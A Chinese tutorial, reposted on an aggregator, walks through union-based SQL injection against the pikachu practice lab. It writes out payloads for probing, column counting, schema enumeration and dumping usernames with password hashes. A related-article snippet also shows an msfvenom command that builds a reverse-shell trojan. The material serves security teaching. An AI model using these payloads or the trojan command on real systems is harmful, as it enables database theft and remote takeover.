Web渗透-MySql-Sql注入:联合查询注入

news2024/10/7 20:29:42

SQL注入(SQL Injection)是一种网络攻击技术,攻击者通过将恶意的SQL代码插入到应用程序的输入字段,从而欺骗应用程序执行未经授权的操作。这种攻击方式可以导致严重的安全问题,包括:

数据泄露:攻击者可以未经授权地访问和检索数据库中的敏感数据。
数据篡改:攻击者可以修改、删除或添加数据库中的数据。
身份冒充:攻击者可以冒充其他用户,包括管理员,从而获得更高的权限。
拒绝服务:通过破坏数据库或使其负载过重,使得数据库无法正常提供服务。

SQL注入的常见类型

联合查询注入(Union-based Injection):利用UNION语句将恶意查询与合法查询合并。

首先来说明一下联合查询:

联合查询(Union Query)是一种SQL操作,用于将多个SQL查询的结果组合在一起。联合查询使用UNION关键字连接两个或多个SELECT语句的结果集;每个查询的结果集必须具有相同数量的列,并且对应列的数据类型必须兼容。

假设有两个表usersmember,他们都有一些相同的列,例如idname

user:
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
|  2 | pikachu  | 670b14728ad9902aecba32e22fa4f6bd |     2 |
|  3 | test     | e99a18c428cb38d5f260853678922e03 |     3 |
+----+----------+----------------------------------+-------+
​
​
member:
+----+----------+----------------------------------+
| id | username | pw                               |
+----+----------+----------------------------------+
|  1 | vince    | e10adc3949ba59abbe56e057f20f883e |
|  2 | allen    | e10adc3949ba59abbe56e057f20f883e |
|  3 | kobe     | e10adc3949ba59abbe56e057f20f883e |
|  4 | grady    | e10adc3949ba59abbe56e057f20f883e |
|  5 | kevin    | e10adc3949ba59abbe56e057f20f883e |
|  6 | lucy     | e10adc3949ba59abbe56e057f20f883e |
|  7 | lili     | e10adc3949ba59abbe56e057f20f883e |
+----+----------+----------------------------------+

此时,我们希望查询所有用户的idusername,就可以使用联合查询;

select id,username from users union select id,username from member;

这个查询将返回所有usersmemberidname,并且会去除重复的记录(如果有的话),此时查询的结果为:

联合查询是一种强大的SQL工具,允许你将多个查询的结果集组合在一起,形成一个综合结果集;联合查询注入中,攻击者利用这一特性,将自己的查询结果与原查询结果联合,从而窃取或篡改数据。

此时我们以pikachu靶场中的sql注入漏洞(字符型注入)为例子讲述联合查询注入的利用;

首先需要知道一个用户名,此处以kobe用户名为例子;

此时可以看到回显正常,并且输出回显了uidemail等数据,说明我们可以尝试测试一下此处是否存在sql注入漏洞;最简单的方式:我们可以在上述输入的kobe后加上一个单引号(’)或双引号("),如果页面回显报错信息则表示此处存在sql注入漏洞;

回显结果明显为Mysql的sql语句报错,表明此处存在sql注入漏洞:

报错原因:我们将此处提交的数据放入靶场的程序源码中的查询语句中进行解释;

这个时候将我们输入的数据kobe'带入$name变量中:此时sql语句则会产生语法错误进而报错。

select id,email from member where username='kobe''   #报错

按照常规的步骤,接着我们就应该判断该注入点类型,但是由于此处的输入为username,那么此时就无需再进行判断了,此处的注入类型为字符型;

①字符型注入判断依据:

kobe' and 1=1 --+ 回显正常
kobe' and 1=2 --+ 无回显

为了方便理解,此时我们将上述语句带入源码中的sql语句中:

select id,email from member where username='kobe' and 1=1 --+'   回显正常
select id,email from member where username='kobe' and 1=2 --+'   无回显

②若是注入类型为整型,语句为:

数字 and 1=1 回显正常
数字 and 1=2 无回显

接着可以进行列数判断(查询得到的数据列数,后面进行联合查询时需要用到),判断列数需要使用order by子句,ORDER BY 子句在 MySQL 中用于对查询结果按照列进行排序,ORDER BY 子句后跟上对应数字则表示对对应列进行排序,如order by 3 则表示对第3列进行排序,如果指定的列数过大,大于查询结果的列数,则语句会报错。

kobe' order by 3 --+  #报错,说明查询到的数据小于3列
kobe' order by 2 --+  #正常回显,表明查询到的数据为2列

接着就可以使用联合查询进行注入,联合查询数字1和数字2,进行回显位置的查看;

name=kobe' and 1=2 union select 1,2 --+

查询数据库名

接着我们就可以自行选择一个回显位置进行查询,如果此时我想在数字2的位置查询出当前的数据库名,那么语句就可以这样写:

kobe' and 1=2 union select 1,database() --+

DATABASE() 函数在 MySQL 中用于返回当前使用的数据库的名称;此时我们可以得知此时该网站所对应的数据库库名为pikachu;数据库名查询出来后就可以接着查询该数据库中的表、列(此时我们并不知道该数据库中有哪些表,表中有哪些列)最后脱取数据,所以此时我们需要获取该数据库中所有表的表名,具体语句:

kobe' and 1=2 union select 1,table_name from information_schema.tables where table_schema="pikachu" --+

获取到的结果:

information_schema是 MySQL 中的一个虚拟数据库,它包含有关数据库元数据的信息; 提供了一种方式来查询关于数据库、表、列、索引、权限等的详细信息;而INFORMATION_SCHEMA数据库中的tables表在包含了有关数据库中所有表的信息,table_name为存储表名的段,table_schematables表中存储数据库名的段。

查询数据表名

表名查询完毕后则可以继续查询表中的列名,此处我们以users表为例子进行演示,具体例子;

kobe' and 1=2 union select 1,column_name from information_schema.columns where table_schema="pikachu" and table_name="users" --+

information_schema数据库中的COLUMNS 表在 MySQL 中包含了有关数据库中所有列的信息,column_nameCOLUMNS 表中存取所有表的列名的列;where后指定要获取列名的表,查询的结果为:

获取数据

获得表名和列名后,就可以导出表中的数据了,具体的语句:

kobe' and 1=2 union select 1,group_concat(username,"-",password) from users --+

kobe':这是注入的开始,kobe' 可能是一个用户输入的部分,这里故意闭合了前面的引号,目的是结束原始的SQL语句。

and 1=2:这是一个总是返回 false 的条件。通过添加这个条件,可以确保原始查询的结果集为空。

union select 1,group_concat(username,"-",password) from users:UNION 操作符用于合并两个查询的结果集。

select 1, group_concat(username, "-", password) from users 是攻击者的恶意查询部分。

  • group_concat(username, "-", password)usernamepassword 列连接起来,并用 - 分隔,返回一个字符串列表,GROUP_CONCAT() 是 MySQL 中的一个聚合函数,用于将多行的值连接成一个字符串。这个函数通常用于在查询结果中合并多行的数据,并将它们以指定的分隔符连接起来。这个查询将试图从 users 表中获取所有用户名和密码,并以 - 分隔。

--+:

  • -- 是SQL注释符号,后面的部分(包括 +)将被忽略,这样可以确保剩余的SQL代码不会影响注入的查询。

此时数据(账号、密码)导出情况:

此时密码为密文,需要通过一些解密方法进行解密。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1710650.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【MATLAB源码-第216期】基于matlab的北方苍鹰优化算法(NGO)机器人栅格路径规划,输出做短路径图和适应度曲线。

操作环境: MATLAB 2022a 1、算法描述 北方苍鹰优化算法(Northern Goshawk Optimization,简称NGO)是一种新兴的智能优化算法,灵感来源于北方苍鹰的捕猎行为。北方苍鹰是一种敏捷且高效的猛禽,广泛分布于北…

qrcode和qrcodejs2生成二维码+刷新

1、使用qrcode生产二维码&#xff0c;封装组件 创建Qrcode.vue文件 <template><divclass"QRCode":style"{ width: width, height: height }"><canvas:id"canvasId"ref"canvas":style"{ width: width, height: …

上海冠珠旗舰总店盛装开业暨冠珠瓷砖中国美学设计巡回圆满举办

上海&#xff0c;这座融合了东西方文化的国际化大都市&#xff0c;不仅是中国的时尚中心&#xff0c;也是全球潮流的汇聚地。在这里&#xff0c;古典与现代交织&#xff0c;传统与前卫并存&#xff0c;为传统色彩与现代设计的融合提供了得天独厚的条件。 5月25日&#xff0c;上…

分频器对相位噪声影响

本文我们将分析输入时钟被N分频之后的输出时钟的相位噪声如何变化。首先理想分频器的意思是我们假设分频器不会引入附加相位噪声&#xff0c;并且输入和输出时钟之间没有延时。我们假设每一个输出边沿的位置都完美的与输入边沿相对齐&#xff0c;这样便于分析。由于每N个输入时…

简单3步,ERP、OA、CRM等客户端,安全远程访问服务端

如今&#xff0c;企业员工出差远程办公和分支机构的协同工作变得越来越普遍。然而&#xff0c;如何确保在不同地点的员工都能安全、便捷地访问公司内网的C/S&#xff08;Client/Server&#xff09;架构办公系统&#xff0c;是一个亟待解决的问题。 贝锐花生壳内网穿透服务提供…

Elasticsearch8.13.4版本的Docker启动关闭HTTPS

博主环境是&#xff1a; 开发环境&#xff1a;SpringbootElasticSearch客户端对应的starter 2.6.3版本 maven配置 <!-- ElasticSearch --><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-elas…

二叉树习题精讲-相同的树

相同的树 100. 相同的树 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/same-tree/description/ /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/ bool i…

MFC 发起 HTTP Post 请求 发送MES消息

文章目录 获取Token将获取的Token写入JSON文件 将测试参数发送到http首先将测试参数写入到TestData.JSON文件rapidjson 库需要将CString 进行类型转换才能使用&#xff0c;将CString 转换为const char* 发送JSON 参数到http中&#xff0c;并且获取返回结果写入TestFinish.JSON文…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

效率工作:一键为多种资产添加统一材质(小插件)

1.需求分析&#xff1a; 当导入一批资产&#xff0c;或者有同一批结构体需要添加相同材质时&#xff0c;单独为每个模型都添加材质费时费力&#xff0c;有没有什么办法&#xff0c;能同时为多个资产添加材质。 2.操作实现 1.在网上找到了一款插件&#xff0c;经过验证&#xf…

【数据结构与算法 经典例题】返回单链表的倒数第 k 个节点

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;数据结构与算法刷题系列&#xff08;C语言&#xff09; 期待您的关注 目录 一、问题描述 二、解题思路 方法一:计数器方式 方法…

计算机毕业设计hadoop+spark+hive物流大数据分析平台 物流预测系统 物流信息爬虫 物流大数据 机器学习 深度学习

流程&#xff1a; 1.Python爬虫采集物流数据等存入mysql和.csv文件&#xff1b; 2.使用pandasnumpy或者MapReduce对上面的数据集进行数据清洗生成最终上传到hdfs&#xff1b; 3.使用hive数据仓库完成建库建表导入.csv数据集&#xff1b; 4.使用hive之hive_sql进行离线计算&…

(四十八)第 7 章 图(图的数组(邻接矩阵)存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…

Android项目实战 —— 手把手教你实现一款本地音乐播放器Dora Music

今天带大家实现一款基于Dora SDK的Android本地音乐播放器app&#xff0c;本项目也作为Dora SDK的实践项目或使用教程。使用到开源库有[https://github.com/dora4/dora] 、[https://github.com/dora4/dcache-android] 等。先声明一点&#xff0c;本项目主要作为框架的使用教程&a…

深入探究Java自动拆箱与装箱的实现原理

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

浙江大学数据结构MOOC-课后习题-第九讲-排序2 Insert or Merge

题目汇总 浙江大学数据结构MOOC-课后习题-拼题A-代码分享-2024 题目描述 测试点 思路分析 刚开始我打算想推出一个规律&#xff0c;来判断是否是归并排序&#xff0c;但实在太过于复杂&#xff0c;我很难去想出这样的规律…因此&#xff0c;参考了其他博主的思路——每做一次排…

AI菜鸟向前飞 — LangChain系列之十五 - Agent系列:从现象看机制(中篇)一个Agent的“旅行”

Agent基本架构 先谈谈Agent基本架构概念&#xff0c;如果看得云里雾里&#xff0c;等看完本篇之后&#xff0c;再回头看就会豁然开朗的&#xff0c;而我尽量写得更易懂&#xff1a; &#xff09; 这里面会穿插着上一篇的内容&#xff0c;请大家记得往回翻翻&#xff0c;传送门&…

Vue.js中如何实现以列表首列为表头

前言 一般情况table列表的展示&#xff0c;列头都在第一横行&#xff0c;此方法用于列头在第一列的情况。 效果图 核心代码 <template><div><table class"data-table"><tr v-for"(column, columnIndex) in columns" :key"col…

maven部署到私服

方法一:网页上传 1、账号登录 用户名/密码 2、地址 http://自己的ip:自己的端口/nexus 3、查看Repositories列表&#xff0c;选择Public Repositories&#xff0c;确定待上传jar包不在私服中 4、选择3rd party仓库&#xff0c;点击Artifact Upload页签 5、GAV Definition选…

MagicPose4D:解锁AI驱动的3D模型动作新纪元

在当今快速发展的数字内容创作领域,MagicPose4D正以其革命性的技术颠覆传统动画制作流程,成为创作者手中的魔法棒。这款先进的框架不仅仅是一款工具,更是通往无限创意的一扇门,它使得为3D模型赋予生动、自然的动作变得前所未有的简单和高效。下面,让我们深入探索MagicPose…